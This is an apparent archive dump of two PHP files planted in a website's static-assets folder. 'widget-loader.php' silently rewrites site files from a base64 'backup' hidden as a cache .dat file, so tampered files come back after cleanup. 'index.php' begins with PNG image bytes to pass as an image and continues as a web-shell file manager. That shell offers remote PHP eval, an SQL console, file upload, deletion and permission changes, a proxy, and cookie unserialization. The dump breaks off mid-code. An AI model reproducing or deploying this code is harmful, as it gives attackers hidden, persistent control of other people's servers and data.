‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sdPK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Q] @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
